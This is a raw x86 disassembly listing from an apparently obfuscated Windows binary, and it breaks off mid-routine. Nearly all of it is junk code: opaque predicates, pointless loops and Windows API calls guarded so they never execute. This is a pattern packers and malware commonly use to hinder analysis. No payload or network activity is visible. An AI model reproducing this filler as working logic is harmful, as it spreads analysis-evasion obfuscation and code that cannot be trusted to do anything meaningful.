cmp dword [ebp + eax - 0x8f0], 0
je 0x477eae
mov dword [ebp - 0xe98], 1
jmp 0x477eb5
and dword [ebp - 0xe98], 0
cmp dword [ebp - 0xe98], 2
jge 0x477eca
mov dword [ebp - 0xea0], 1
jmp 0x477ed1
and dword [ebp - 0xea0], 0
mov eax, dword [ebp - 0xa6c]
cmp eax, dword [ebp - 0xea0]
jne 0x477eeb
mov dword [ebp - 0xea8], 1
jmp 0x477ef2
and dword [ebp - 0xea8], 0
mov eax, dword [ebp - 0xea8]
dec eax
cmp eax, dword [ebp - 0x2180]
jle 0x477f0d
mov dword [ebp - 0xeb0], 1
jmp 0x477f14
and dword [ebp - 0xeb0], 0
mov eax, dword [ebp - 0xa6c]
cmp eax, dword [ebp - 0xeb0]
jge 0x477f32
push 4
pop eax
test eax, eax
jne 0x477f32
and dword [ebp - 0xeb8], 0
jmp 0x477f3c
mov dword [ebp - 0xeb8], 1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xeb8]
mov dword [ebp + eax - 0x2e94], ecx
mov dword [ebp - 0x508], 0x9714a025
mov dword [ebp - 0x3c4], 0xffffffff
mov dword [ebp - 0x29c4], 0x53061ece
mov dword [ebp - 0x798], 0
jmp 0x477f86
mov eax, dword [ebp - 0x798]
inc eax
mov dword [ebp - 0x798], eax
cmp dword [ebp - 0x798], 2
jge 0x477fa2
mov eax, dword [ebp - 0x798]
mov dword [ebp + eax*4 - 0x33a4], 0xffffffff
jmp 0x477f79
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
mov dword [ebp - 0x3c4], 0
jmp 0x477fc8
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 0x18
jg 0x478039
mov dword [ebp - 0x508], 0xa
jmp 0x477fea
mov eax, dword [ebp - 0x508]
dec eax
mov dword [ebp - 0x508], eax
cmp dword [ebp - 0x508], 0xfffffff1
jle 0x47801d
mov byte [ebp - 0x28a], 0
movzx eax, byte [ebp - 0x28a]
test eax, eax
je 0x478010
push 0x13c9
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [ebp - 0x508], 0
je 0x47801b
jmp 0x47801d
jmp 0x477fdd
mov byte [ebp - 0x2c4], 0
movzx eax, byte [ebp - 0x2c4]
test eax, eax
je 0x478037
push 0
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
jmp 0x477fbb
mov dword [ebp - 0x170], 0
jmp 0x478052
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 3
jge 0x47806e
mov eax, dword [ebp - 0x170]
mov dword [ebp + eax*4 - 0x3b4], 0xeb2391cb
jmp 0x478045
mov dword [ebp - 0x168], 0xac204e2
mov dword [ebp - 0x880], 0
jmp 0x478091
mov eax, dword [ebp - 0x880]
inc eax
mov dword [ebp - 0x880], eax
cmp dword [ebp - 0x880], 3
jge 0x4780ad
mov eax, dword [ebp - 0x880]
mov dword [ebp + eax*4 - 0x2728], 0xbc42206d
jmp 0x478084
mov dword [ebp - 0x168], 0x1d
jmp 0x4780c6
mov eax, dword [ebp - 0x168]
dec eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0xffffffff
jne 0x478175
mov dword [ebp - 0x3c8], 0xde9
mov dword [ebp - 0xec8], 0x6173948b
mov eax, dword [ebp - 0x3c8]
cmp dword [ebp - 0x168], eax
je 0x47810a
cmp dword [ebp - 0x3c8], 0
je 0x47810a
mov dword [ebp - 0xe80], 1
jmp 0x478111
and dword [ebp - 0xe80], 0
mov eax, dword [ebp - 0x3c8]
cmp dword [ebp - 0xe80], eax
jg 0x478126
cmp dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0xec8], eax
or eax, 0xffffffff
sub eax, dword [ebp - 0xec8]
xor ecx, ecx
inc ecx
sub ecx, eax
sub ecx, 9
cmp ecx, dword [ebp - 0x3c8]
jl 0x478157
mov dword [ebp - 0xed0], 1
jmp 0x47815e
and dword [ebp - 0xed0], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xed0]
mov dword [ebp + eax - 0x2728], ecx
jmp 0x4780b9
mov dword [ebp - 0x168], 0xffffffe3
jmp 0x47818e
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0xffffffe5
jne 0x4781cf
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2728], 0
jne 0x4781b3
mov dword [ebp - 0xed8], 1
jmp 0x4781ba
and dword [ebp - 0xed8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xed8]
mov dword [ebp + eax - 0x2728], ecx
jmp 0x478181
mov dword [ebp - 0x170], 0
jmp 0x4781e8
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 1
jge 0x478204
mov eax, dword [ebp - 0x170]
mov dword [ebp + eax*4 - 0x7d0], 0x972c40a9
jmp 0x4781db
mov dword [ebp - 0x2df0], 0xa7bc
mov dword [ebp - 0x29cc], 0xffffffff
mov dword [ebp - 0x178], 0
jmp 0x478231
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 1
jge 0x47824d
mov eax, dword [ebp - 0x178]
mov dword [ebp + eax*4 - 0x7a0], 0x4a8c6a53
jmp 0x478224
mov dword [ebp - 0x178], 0
jmp 0x478266
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 4
jge 0x478282
mov eax, dword [ebp - 0x178]
mov dword [ebp + eax*4 - 0x34a0], 0x137b1891
jmp 0x478259
mov byte [ebp - 0x28c], 0
movzx eax, byte [ebp - 0x28c]
test eax, eax
je 0x47829c
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x7a0], 0x13
jmp 0x4782ca
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7a0]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x7a0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7a0], 0x10
jl 0x4783bf
mov dword [ebp - 0x3058], 0xd4782549
mov dword [ebp - 0x29d4], 0x9c1c73b0
mov dword [ebp - 0xee0], 0xfffffffb
mov dword [ebp - 0x84], 0
jmp 0x478315
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 1
jge 0x478331
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0x2df8], 0x3629aa8
jmp 0x478308
mov dword [ebp - 0x84], 0
jmp 0x47834a
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 1
jge 0x478366
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0x23dc], 0xfa1
jmp 0x47833d
mov dword [ebp - 0x84], 0
jmp 0x47837f
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 1
jge 0x47839b
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0x29dc], 0xffffffff
jmp 0x478372
mov eax, dword [ebp - 0xee0]
dec eax
mov dword [ebp - 0xee0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x23dc], 0
je 0x4783ba
jmp 0x4783bf
jmp 0x4782af
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3b4]
mov dword [ebp - 0x2fd0], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3b4]
mov dword [ebp - 0x29e4], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x3b4], 0
je 0x47840e
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x3b4], 0
je 0x47840e
mov dword [ebp - 0xee8], 1
jmp 0x478415
and dword [ebp - 0xee8], 0
cmp dword [ebp - 0xee8], 0xfff7
jb 0x47842d
mov dword [ebp - 0xef0], 1
jmp 0x478434
and dword [ebp - 0xef0], 0
cmp dword [ebp - 0xef0], 0xfffffffc
ja 0x478449
mov dword [ebp - 0xef8], 1
jmp 0x478450
and dword [ebp - 0xef8], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3b4]
cmp dword [ebp - 0xef8], eax
jge 0x478470
mov dword [ebp - 0xaf4], 1
jmp 0x478477
and dword [ebp - 0xaf4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xaf4]
mov dword [ebp + eax - 0x7d0], ecx
cmp dword [ebp - 0xaf4], 0
je 0x4784bf
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3b4], 0
je 0x4784bf
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7d0], 0
je 0x4784bf
mov dword [ebp - 0xf00], 1
jmp 0x4784c6
and dword [ebp - 0xf00], 0
cmp dword [ebp - 0xf00], 0x3380ee91
jg 0x4784de
mov dword [ebp - 0xf08], 1
jmp 0x4784e5
and dword [ebp - 0xf08], 0
cmp dword [ebp - 0xf08], 0x67b3
jge 0x4784fd
mov dword [ebp - 0xf10], 1
jmp 0x478504
and dword [ebp - 0xf10], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3b4]
add eax, dword [ebp - 0xf10]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x3b4]
jg 0x478531
mov dword [ebp - 0xf18], 1
jmp 0x478538
and dword [ebp - 0xf18], 0
cmp dword [ebp - 0xf18], 0x1940c9ba
jg 0x478550
mov dword [ebp - 0xf20], 1
jmp 0x478557
and dword [ebp - 0xf20], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3b4]
cmp eax, dword [ebp - 0xf20]
jl 0x478577
mov dword [ebp - 0xf28], 1
jmp 0x47857e
and dword [ebp - 0xf28], 0
mov eax, dword [ebp - 0xf28]
mov dword [ebp - 0x190], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3b4]
cmp dword [ebp - 0x190], eax
jl 0x4785ab
mov dword [ebp - 0xf30], 1
jmp 0x4785b2
and dword [ebp - 0xf30], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3b4]
cmp dword [ebp - 0xf30], eax
jne 0x4785d2
mov dword [ebp - 0x2188], 1
jmp 0x4785d9
and dword [ebp - 0x2188], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3b4]
mov dword [ebp - 0x2e00], eax
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x3b4]
cmp dword [ebp + eax - 0x3b4], ecx
jne 0x478611
mov dword [ebp - 0x2310], 1
jmp 0x478618
and dword [ebp - 0x2310], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3b4]
mov dword [ebp - 0x29ec], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7d0], 0
je 0x478650
cmp dword [ebp - 0x190], 0
je 0x478650
mov dword [ebp - 0xf38], 1
jmp 0x478657
and dword [ebp - 0xf38], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3b4]
imul eax, dword [ebp - 0xf38]
cmp eax, 6
jge 0x47867b
mov dword [ebp - 0xf40], 1
jmp 0x478682
and dword [ebp - 0xf40], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3b4]
cmp dword [ebp - 0xf40], eax
jge 0x4786a2
mov dword [ebp - 0x2190], 1
jmp 0x4786a9
and dword [ebp - 0x2190], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3b4]
mov dword [ebp - 0x30a0], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3b4]
mov dword [ebp - 0x29f4], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3b4]
cmp dword [ebp - 0x190], eax
je 0x47a0cf
mov dword [ebp - 0x510], 0xfffffffc
mov dword [ebp - 0x954], 0x82062403
mov dword [ebp - 0x2e08], 1
mov byte [ebp - 0x389], 0
movzx eax, byte [ebp - 0x389]
test eax, eax
je 0x478726
push 0
push 0x773
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov dword [ebp - 0x954], 9
jmp 0x47873f
mov eax, dword [ebp - 0x954]
inc eax
mov dword [ebp - 0x954], eax
cmp dword [ebp - 0x954], 0x10
jge 0x47878f
mov dword [ebp - 0x7a8], 0
mov dword [ebp - 0x7a8], 0xfffffffd
jmp 0x47876b
mov eax, dword [ebp - 0x7a8]
inc eax
mov dword [ebp - 0x7a8], eax
cmp dword [ebp - 0x7a8], 9
je 0x47878d
mov dword [ebp - 0xf48], 0x869ec427
mov eax, dword [ebp - 0xf48]
dec eax
mov dword [ebp - 0xf48], eax
jmp 0x47875e
jmp 0x478732
mov dword [ebp - 0x190], 3
jmp 0x4787a8
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x35
jne 0x47942d
mov dword [ebp - 0xb4], 0xfffffffd
mov dword [ebp - 0x3d0], 0x5c5735e4
mov dword [ebp - 0xf60], 0x3524
mov dword [ebp - 0x29fc], 1
mov dword [ebp - 0x287c], 0xfffffff9
mov dword [ebp - 0x3108], 0
mov dword [ebp - 0x3104], 0
mov dword [ebp - 0x3100], 0
mov dword [ebp - 0x30fc], 0
mov dword [ebp - 0x888], 0
jmp 0x478828
mov eax, dword [ebp - 0x888]
inc eax
mov dword [ebp - 0x888], eax
cmp dword [ebp - 0x888], 4
jge 0x478844
mov eax, dword [ebp - 0x888]
mov dword [ebp + eax*4 - 0x3164], 0xfffffffd
jmp 0x47881b
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0xb4], 0xa5dec4f
jge 0x478868
mov dword [ebp - 0xf50], 1
jmp 0x47886f
and dword [ebp - 0xf50], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0xf50], eax
jne 0x47888b
or eax, 0xffffffff
jne 0x47888b
and dword [ebp - 0x2510], 0
jmp 0x478895
mov dword [ebp - 0x2510], 1
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0xb4], eax
jne 0x4788af
mov dword [ebp - 0xf58], 1
jmp 0x4788b6
and dword [ebp - 0xf58], 0
mov eax, dword [ebp - 0xf58]
mov dword [ebp - 0xf60], eax
mov eax, dword [ebp - 0xf60]
cmp dword [ebp - 0xb4], eax
jl 0x4788dc
mov dword [ebp - 0xf68], 1
jmp 0x4788e3
and dword [ebp - 0xf68], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0xf68], eax
jl 0x4788fd
mov dword [ebp - 0xf70], 1
jmp 0x478904
and dword [ebp - 0xf70], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0xf70], eax
jg 0x47891e
mov dword [ebp - 0xf78], 1
jmp 0x478925
and dword [ebp - 0xf78], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0xf78], eax
jl 0x47893f
mov dword [ebp - 0xf80], 1
jmp 0x478946
and dword [ebp - 0xf80], 0
mov eax, dword [ebp - 0xb4]
sub eax, dword [ebp - 0xf80]
cmp eax, 0xffffffff
jb 0x478963
mov dword [ebp - 0xf88], 1
jmp 0x47896a
and dword [ebp - 0xf88], 0
mov eax, dword [ebp - 0xf88]
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
je 0x4789ce
mov dword [ebp - 0x3d0], 0xffffffe4
jmp 0x478998
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0xffffffeb
jne 0x4789b0
mov eax, dword [ebp - 0x3d0]
dec eax
mov dword [ebp - 0xb4], eax
jmp 0x47898b
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3164]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x3164], eax
jmp 0x478a66
mov dword [ebp - 0x2a04], 0xc2f1
mov dword [ebp - 0x2e10], 0x86fa66fa
mov dword [ebp - 0x2a0c], 0x5417612d
mov dword [ebp - 0x3060], 0x844ba928
mov dword [ebp - 0xf90], 0x62c90ace
mov dword [ebp - 0x7b0], 0
jmp 0x478a19
mov eax, dword [ebp - 0x7b0]
inc eax
mov dword [ebp - 0x7b0], eax
cmp dword [ebp - 0x7b0], 2
jge 0x478a35
mov eax, dword [ebp - 0x7b0]
mov dword [ebp + eax*4 - 0x32dc], 0x7c4e7ccc
jmp 0x478a0c
mov eax, dword [ebp - 0xf90]
inc eax
mov dword [ebp - 0xf90], eax
mov byte [ebp - 0x28e], 0
movzx eax, byte [ebp - 0x28e]
test eax, eax
je 0x478a66
push 0x15f0
push 0x1534
push 0
call dword [sym.imp.GDI32.dll_CreatePolygonRgn]
mov dword [ebp - 0x138], 0xfffffff9
mov dword [ebp - 0x7b8], 0xfffffffc
mov dword [ebp - 0x2318], 0xb5a9cea4
mov dword [ebp - 0x2a14], 0x758b39d2
mov dword [ebp - 0x8f8], 0
jmp 0x478aa7
mov eax, dword [ebp - 0x8f8]
inc eax
mov dword [ebp - 0x8f8], eax
cmp dword [ebp - 0x8f8], 4
jge 0x478ac3
mov eax, dword [ebp - 0x8f8]
mov dword [ebp + eax*4 - 0x2584], 0x540d
jmp 0x478a9a
mov dword [ebp - 0x138], 3
jmp 0x478adc
mov eax, dword [ebp - 0x138]
dec eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0
jl 0x478c83
mov dword [ebp - 0x3d8], 0x2304b25b
mov dword [ebp - 0x3d8], 0
jmp 0x478b0c
mov eax, dword [ebp - 0x3d8]
inc eax
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 3
jg 0x478bad
mov dword [ebp - 0x25c], 0x272a7275
mov dword [ebp - 0x25c], 3
jmp 0x478b3c
mov eax, dword [ebp - 0x25c]
dec eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0
jl 0x478b72
mov byte [ebp - 0x2c9], 0
movzx eax, byte [ebp - 0x2c9]
test eax, eax
je 0x478b70
push 0x1809
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
jmp 0x478b2f
mov dword [ebp - 0x25c], 3
jmp 0x478b8b
mov eax, dword [ebp - 0x25c]
dec eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0
jl 0x478ba8
mov eax, dword [ebp - 0x138]
cmp dword [ebp + eax*4 - 0x2584], 0
je 0x478ba6
jmp 0x478ba8
jmp 0x478b7e
jmp 0x478aff
mov eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x2e18], eax
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp + eax*4 - 0x2584]
mov dword [ebp - 0x2a1c], eax
mov eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x2fe0], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2584]
mov dword [ebp - 0x7b8], eax
mov eax, dword [ebp - 0x7b8]
push 4
pop ecx
shl ecx, 0
sub eax, dword [ebp + ecx - 0x2584]
cmp eax, 8
jne 0x478c0f
mov dword [ebp - 0x2198], 1
jmp 0x478c16
and dword [ebp - 0x2198], 0
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x2a24], eax
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp + eax*4 - 0x2584]
mov dword [ebp - 0x2e20], eax
mov eax, dword [ebp - 0x7b8]
mov dword [ebp - 0x2a2c], eax
mov eax, dword [ebp - 0x138]
imul eax, dword [ebp + eax*4 - 0x2584], 0x2bb2
test eax, eax
je 0x478c6b
cmp dword [ebp - 0x7b8], 0
je 0x478c6b
mov dword [ebp - 0xf98], 1
jmp 0x478c72
and dword [ebp - 0xf98], 0
mov eax, dword [ebp - 0xf98]
mov dword [ebp - 0x2318], eax
jmp 0x478acf
mov dword [ebp - 0x2320], 1
mov dword [ebp - 0x890], 0x25b9b55b
mov dword [ebp - 0x21a0], 0xffffffff
mov dword [ebp - 0x890], 0
jmp 0x478cba
mov eax, dword [ebp - 0x890]
inc eax
mov dword [ebp - 0x890], eax
cmp dword [ebp - 0x890], 0
jle 0x478d07
mov dword [ebp - 0x554], 0xbe18
mov dword [ebp - 0x554], 0x7689351f
mov dword [ebp - 0x554], 7
jmp 0x478cf0
mov eax, dword [ebp - 0x554]
inc eax
mov dword [ebp - 0x554], eax
cmp dword [ebp - 0x554], 0x11
jl 0x478d05
mov dword [ebp - 0x21a0], 0x8bd4dfbd
jmp 0x478ce3
jmp 0x478cad
mov dword [ebp - 0x188], 0xdb3ae355
mov dword [ebp - 0x348], 0xffffffff
mov dword [ebp - 0x7c0], 0xade661fb
mov dword [ebp - 0x188], 0
jmp 0x478d3e
mov eax, dword [ebp - 0x188]
dec eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0xfffffffa
jl 0x4790b4
mov dword [ebp - 0x114], 0x83111738
mov dword [ebp - 0x3134], 0xffffffff
mov dword [ebp - 0x2a34], 1
mov dword [ebp - 0x2e28], 0xffbdd2a4
mov dword [ebp - 0x2a3c], 0xc8c580b
mov dword [ebp - 0x1018], 0x1a7003b
cmp dword [ebp - 0x114], 0
jne 0x478d9c
mov dword [ebp - 0xfa0], 1
jmp 0x478da3
and dword [ebp - 0xfa0], 0
mov eax, dword [ebp - 0xfa0]
mov dword [ebp - 0x348], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x2fe8], eax
push 8
pop eax
cmp eax, 1
jge 0x478dcf
mov dword [ebp - 0xfa8], 1
jmp 0x478dd6
and dword [ebp - 0xfa8], 0
cmp dword [ebp - 0xfa8], 0xe997
jl 0x478dee
mov dword [ebp - 0xfb0], 1
jmp 0x478df5
and dword [ebp - 0xfb0], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0xfb0], eax
je 0x478e0a
cmp dword [ebp - 0x188], 0
cmp dword [ebp - 0x114], 5
jle 0x478e1f
mov dword [ebp - 0xfb8], 1
jmp 0x478e26
and dword [ebp - 0xfb8], 0
mov eax, dword [ebp - 0x348]
mov dword [ebp - 0x7c0], eax
mov eax, dword [ebp - 0x7c0]
cmp eax, dword [ebp - 0xfb8]
je 0x478e4c
mov dword [ebp - 0xfc0], 1
jmp 0x478e53
and dword [ebp - 0xfc0], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0xfc0], eax
jne 0x478e6d
mov dword [ebp - 0xfc8], 1
jmp 0x478e74
and dword [ebp - 0xfc8], 0
mov eax, dword [ebp - 0x348]
imul eax, dword [ebp - 0xfc8]
cmp eax, dword [ebp - 0x188]
jge 0x478e95
mov dword [ebp - 0xfd0], 1
jmp 0x478e9c
and dword [ebp - 0xfd0], 0
cmp dword [ebp - 0xfd0], 0
je 0x478eb1
mov dword [ebp - 0xfd8], 1
jmp 0x478eb8
and dword [ebp - 0xfd8], 0
mov eax, dword [ebp - 0xfd8]
mov dword [ebp - 0x348], eax
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x2a44], eax
cmp dword [ebp - 0x114], 1
jg 0x478ee5
mov dword [ebp - 0xfe0], 1
jmp 0x478eec
and dword [ebp - 0xfe0], 0
mov eax, dword [ebp - 0x114]
imul eax, dword [ebp - 0xfe0]
test eax, eax
jne 0x478f0f
mov eax, 0x8f8f6a1c
test eax, eax
jne 0x478f0f
and dword [ebp - 0xfe8], 0
jmp 0x478f19
mov dword [ebp - 0xfe8], 1
mov eax, dword [ebp - 0x188]
cmp dword [ebp - 0xfe8], eax
jle 0x478f3a
cmp dword [ebp - 0x188], 0
je 0x478f35
jmp 0x4790b4
jmp 0x4790af
mov dword [ebp - 0x23e4], 0x5013
mov dword [ebp - 0xa74], 0xffffffff
mov dword [ebp - 0x2e30], 1
mov dword [ebp - 0x7c0], 1
cmp dword [ebp - 0x7c0], 0
je 0x478f80
cmp dword [ebp - 0x23e4], 0
je 0x478f80
mov dword [ebp - 0xff0], 1
jmp 0x478f87
and dword [ebp - 0xff0], 0
mov eax, dword [ebp - 0xff0]
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0xb0be
jge 0x478fab
mov dword [ebp - 0xff8], 1
jmp 0x478fb2
and dword [ebp - 0xff8], 0
mov eax, dword [ebp - 0xff8]
mov dword [ebp - 0xa74], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x2a4c], eax
mov eax, dword [ebp - 0xa74]
mov dword [ebp - 0x3068], eax
cmp dword [ebp - 0xa74], 0
je 0x478ff1
mov eax, 0xffff
test eax, eax
je 0x478ff1
and dword [ebp - 0x1000], 0
jmp 0x478ffb
mov dword [ebp - 0x1000], 1
cmp dword [ebp - 0x1000], 4
jbe 0x479010
mov dword [ebp - 0x1008], 1
jmp 0x479017
and dword [ebp - 0x1008], 0
imul eax, dword [ebp - 0x1008], 5
add eax, dword [ebp - 0x114]
cmp eax, 0x4730
jge 0x479037
mov dword [ebp - 0x1010], 1
jmp 0x47903e
and dword [ebp - 0x1010], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x1010], eax
je 0x479059
cmp dword [ebp - 0x348], 0
je 0x479057
jmp 0x4790b4
jmp 0x4790af
mov dword [ebp - 0x2a54], 0x179b2c39
mov dword [ebp - 0x2e38], 0xffffffff
mov dword [ebp - 0x930], 0
jmp 0x479086
mov eax, dword [ebp - 0x930]
inc eax
mov dword [ebp - 0x930], eax
cmp dword [ebp - 0x930], 3
jge 0x4790a2
mov eax, dword [ebp - 0x930]
mov dword [ebp + eax*4 - 0x345c], 0x807c1f4b
jmp 0x479079
mov eax, dword [ebp - 0x1018]
inc eax
mov dword [ebp - 0x1018], eax
jmp 0x478d31
mov dword [ebp - 0x7c8], 0
jmp 0x4790cd
mov eax, dword [ebp - 0x7c8]
inc eax
mov dword [ebp - 0x7c8], eax
cmp dword [ebp - 0x7c8], 2
jge 0x4790e9
mov eax, dword [ebp - 0x7c8]
mov dword [ebp + eax*4 - 0x2ba4], 0xfffffff8
jmp 0x4790c0
mov dword [ebp - 0x11c], 0x8311
mov dword [ebp - 0x220], 0x9dade661
mov dword [ebp - 0x898], 0
jmp 0x479116
mov eax, dword [ebp - 0x898]
inc eax
mov dword [ebp - 0x898], eax
cmp dword [ebp - 0x898], 3
jge 0x479132
mov eax, dword [ebp - 0x898]
mov dword [ebp + eax*4 - 0x259c], 1
jmp 0x479109
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x11c], eax
jl 0x47914c
mov dword [ebp - 0x1040], 1
jmp 0x479153
and dword [ebp - 0x1040], 0
cmp dword [ebp - 0x11c], 0xffffffff
jl 0x479168
mov dword [ebp - 0x1020], 1
jmp 0x47916f
and dword [ebp - 0x1020], 0
mov eax, dword [ebp - 0x220]
cmp dword [ebp - 0x1020], eax
je 0x479189
mov dword [ebp - 0x1028], 1
jmp 0x479190
and dword [ebp - 0x1028], 0
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x1028]
lea eax, [eax + ecx + 0x605743f9]
cmp eax, dword [ebp - 0x11c]
je 0x4791b7
mov dword [ebp - 0x1030], 1
jmp 0x4791be
and dword [ebp - 0x1030], 0
cmp dword [ebp - 0x1030], 0xcae2
jl 0x4791d6
mov dword [ebp - 0x1038], 1
jmp 0x4791dd
and dword [ebp - 0x1038], 0
mov eax, dword [ebp - 0x11c]
imul eax, dword [ebp - 0x1038]
cmp eax, 0x8172
jne 0x4791fd
mov dword [ebp - 0x21a8], 1
jmp 0x479204
and dword [ebp - 0x21a8], 0
mov eax, dword [ebp - 0x220]
mov dword [ebp - 0x2a5c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x259c]
push 4
pop ecx
shl ecx, 0
add eax, dword [ebp + ecx - 0x259c]
je 0x479248
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x259c], 0
je 0x479248
mov dword [ebp - 0x1048], 1
jmp 0x47924f
and dword [ebp - 0x1048], 0
mov eax, dword [ebp - 0x1040]
imul eax, dword [ebp - 0x1048]
add eax, dword [ebp - 0x220]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x259c]
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x11c], 0
jmp 0x47928e
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 2
jg 0x4792db
mov dword [ebp - 0x220], 0
jmp 0x4792b0
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 2
jg 0x4792d9
mov byte [ebp - 0x290], 0
movzx eax, byte [ebp - 0x290]
test eax, eax
je 0x4792d7
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
jmp 0x4792a3
jmp 0x479281
mov dword [ebp - 0x510], 0
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x2ff0], eax
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0x2a64], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2ba4], 0
jne 0x47931f
mov eax, 0xa3ce
test eax, eax
jne 0x47931f
and dword [ebp - 0x1050], 0
jmp 0x479329
